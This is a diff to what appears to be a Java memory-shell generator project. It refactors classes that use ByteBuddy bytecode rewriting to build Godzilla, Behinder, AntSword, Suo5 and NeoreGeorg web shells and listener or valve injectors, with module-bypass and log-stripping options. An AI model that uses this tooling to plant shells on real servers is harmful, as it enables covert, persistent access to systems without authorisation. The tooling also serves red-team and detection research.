protected final ShellConfig shellConfig;
|
||||||
|
protected final T shellToolConfig;
|
||||||
|
|
||||||
|
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
||||||
|
this.shellConfig = shellConfig;
|
||||||
|
this.shellToolConfig = shellToolConfig;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -17,10 +16,8 @@ public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> getBuilder() {
|
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
return new ByteBuddy()
|
return builder.field(named("pass")).value(shellToolConfig.getPass())
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("pass")).value(shellToolConfig.getPass())
|
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
|
|
||||||
@@ -17,12 +16,9 @@ public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
|
|||||||
super(shellConfig, shellToolConfig);
|
super(shellConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
|
||||||
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
|
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
|
||||||
return new ByteBuddy()
|
return builder.field(named("pass")).value(md5Key)
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("pass")).value(md5Key)
|
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,16 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.ShellGenerator;
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -21,33 +26,38 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
this.shellToolConfig = shellToolConfig;
|
this.shellToolConfig = shellToolConfig;
|
||||||
}
|
}
|
||||||
|
|
||||||
protected abstract DynamicType.Builder<?> getBuilder();
|
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder);
|
||||||
|
|
||||||
protected byte[] postProcessBytes(byte[] classBytes) {
|
|
||||||
return classBytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
String shellClassName = shellToolConfig.getShellClassName();
|
|
||||||
Class<?> shellClass = shellToolConfig.getShellClass();
|
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||||
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
if (shellClass != null) {
|
DynamicType.Builder<?> builder = build(new ByteBuddy()
|
||||||
shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
|
.redefine(shellClass)
|
||||||
}
|
|
||||||
|
|
||||||
if (shellToolConfig.getShellTypeDescription() == null) {
|
|
||||||
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
|
|
||||||
}
|
|
||||||
|
|
||||||
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
|
||||||
.name(shellClassName)
|
.name(shellClassName)
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
|
||||||
|
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
|
||||||
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
|
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||||
|
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
|
||||||
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,13 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
import com.reajason.javaweb.memshell.config.CustomConfig;
|
import com.reajason.javaweb.memshell.config.CustomConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
|
||||||
import net.bytebuddy.pool.TypePool;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -16,31 +13,21 @@ import java.util.Base64;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/3/18
|
* @since 2025/3/18
|
||||||
*/
|
*/
|
||||||
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
|
||||||
|
|
||||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||||
super(shellConfig, customConfig);
|
super(shellConfig, customConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> getBuilder() {
|
public byte[] getBytes() {
|
||||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
|
||||||
ClassReader classReader = new ClassReader(classBytes);
|
if (StringUtils.isBlank(shellClassBase64)) {
|
||||||
String className = classReader.getClassName().replace('/', '.');
|
throw new GenerationException("Custom shell class is empty");
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
|
||||||
shellToolConfig.setShellClassName(className);
|
|
||||||
}
|
}
|
||||||
ClassFileLocator compoundLocator = new ClassFileLocator.Compound(
|
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||||
ClassFileLocator.Simple.of(className, classBytes),
|
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
|
||||||
ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader())
|
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
||||||
);
|
|
||||||
TypeDescription typeDescription = new TypePool.Default(
|
|
||||||
new TypePool.CacheProvider.Simple(), compoundLocator,
|
|
||||||
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
|
|
||||||
).describe(className).resolve();
|
|
||||||
shellToolConfig.setShellTypeDescription(typeDescription);
|
|
||||||
return new ByteBuddy()
|
|
||||||
.redefine(typeDescription, compoundLocator);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,19 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
public class DubboServiceInterfaceHelperGenerator {
|
|
||||||
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
|
|
||||||
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
|
|
||||||
.redefine(ShellDubboService.class)
|
|
||||||
.name(interfaceName)
|
|
||||||
.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.codec.digest.DigestUtils;
|
import org.apache.commons.codec.digest.DigestUtils;
|
||||||
|
|
||||||
@@ -19,12 +18,10 @@ public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
|
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
|
||||||
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
|
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
|
||||||
return new ByteBuddy()
|
return builder.field(named("pass")).value(shellToolConfig.getPass())
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("pass")).value(shellToolConfig.getPass())
|
|
||||||
.field(named("key")).value(md5Key)
|
.field(named("key")).value(md5Key)
|
||||||
.field(named("md5")).value(md5)
|
.field(named("md5")).value(md5)
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
||||||
import com.reajason.javaweb.buddy.*;
|
import com.reajason.javaweb.buddy.*;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
@@ -49,12 +48,6 @@ public class InjectorGenerator {
|
|||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
|
|
||||||
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
|
|
||||||
if (helperClassBytes != null) {
|
|
||||||
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
|
|
||||||
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.needByPassJavaModule()) {
|
if (shellConfig.needByPassJavaModule()) {
|
||||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||||
}
|
}
|
||||||
@@ -66,10 +59,6 @@ public class InjectorGenerator {
|
|||||||
if (shellConfig.isDebugOff()) {
|
if (shellConfig.isDebugOff()) {
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = StaticBlockSelfConstructorCall.extend(builder);
|
|
||||||
}
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,42 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/22
|
||||||
|
*/
|
||||||
|
public class ListenerGenerator {
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
||||||
|
builder = builder
|
||||||
|
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||||
|
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
||||||
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
|
|
||||||
|
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
|
||||||
|
.getDeclaredMethods()
|
||||||
|
.filter(named("getFieldValue")
|
||||||
|
.and(takesArguments(Object.class, String.class)))
|
||||||
|
.isEmpty();
|
||||||
|
|
||||||
|
if (methodNotFound) {
|
||||||
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(Object.class, String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
|
.intercept(FixedValue.nullValue())
|
||||||
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -17,10 +16,8 @@ public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfi
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> getBuilder() {
|
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
return new ByteBuddy()
|
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/7
|
|
||||||
*/
|
|
||||||
public interface Processor<T> {
|
|
||||||
T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
|
|
||||||
}
|
|
||||||
@@ -1,52 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.processors.*;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/7
|
|
||||||
*/
|
|
||||||
public final class ProcessorRegistry {
|
|
||||||
|
|
||||||
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
|
||||||
new ListenerBuilderModifier(),
|
|
||||||
new ValveBuilderModifier(),
|
|
||||||
new DebugOffBuilderModifier()
|
|
||||||
);
|
|
||||||
|
|
||||||
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
|
||||||
new JakartaPostProcessor(),
|
|
||||||
new JettyHandlerPostProcessor(),
|
|
||||||
new ShrinkPostProcessor()
|
|
||||||
);
|
|
||||||
|
|
||||||
private ProcessorRegistry() {
|
|
||||||
// Prevent instantiation
|
|
||||||
}
|
|
||||||
|
|
||||||
public static DynamicType.Builder<?> applyBuilderProcessors(
|
|
||||||
DynamicType.Builder<?> builder,
|
|
||||||
ShellConfig shellConfig,
|
|
||||||
ShellToolConfig shellToolConfig) {
|
|
||||||
for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
|
|
||||||
builder = processor.process(builder, shellConfig, shellToolConfig);
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static byte[] applyByteProcessors(
|
|
||||||
byte[] bytes,
|
|
||||||
ShellConfig shellConfig,
|
|
||||||
ShellToolConfig shellToolConfig) {
|
|
||||||
for (Processor<byte[]> processor : BYTE_PROCESSORS) {
|
|
||||||
bytes = processor.process(bytes, shellConfig, shellToolConfig);
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.ProxyConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
|
|
||||||
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
|
|
||||||
super(shellConfig, shellToolConfig);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected DynamicType.Builder<?> getBuilder() {
|
|
||||||
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -18,9 +17,8 @@ public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> getBuilder() {
|
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
return new ByteBuddy()
|
return builder
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,46 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
|
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/12
|
|
||||||
*/
|
|
||||||
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
|
||||||
|
|
||||||
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
|
||||||
super(shellConfig, suo5Config);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected DynamicType.Builder<?> getBuilder() {
|
|
||||||
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
|
|
||||||
return new ByteBuddy()
|
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
|
|
||||||
.redefine(Suo5v2.class)
|
|
||||||
.name(CommonUtil.generateClassName())
|
|
||||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
|
|
||||||
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
|
||||||
.make()) {
|
|
||||||
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
|
|
||||||
return new ByteBuddy()
|
|
||||||
.redefine(shellToolConfig.getShellClass())
|
|
||||||
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,11 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.processors;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.Processor;
|
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.memshell.server.Bes;
|
import com.reajason.javaweb.memshell.server.Bes;
|
||||||
import com.reajason.javaweb.memshell.server.TongWeb;
|
import com.reajason.javaweb.memshell.server.TongWeb;
|
||||||
@@ -17,7 +12,6 @@ import net.bytebuddy.description.type.TypeDescription;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
@@ -26,19 +20,9 @@ import org.jetbrains.annotations.NotNull;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/7
|
* @since 2025/2/22
|
||||||
*/
|
*/
|
||||||
public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
public class ValveGenerator {
|
||||||
|
|
||||||
@Override
|
|
||||||
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
String shellType = shellConfig.getShellType();
|
|
||||||
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
|
||||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
|
||||||
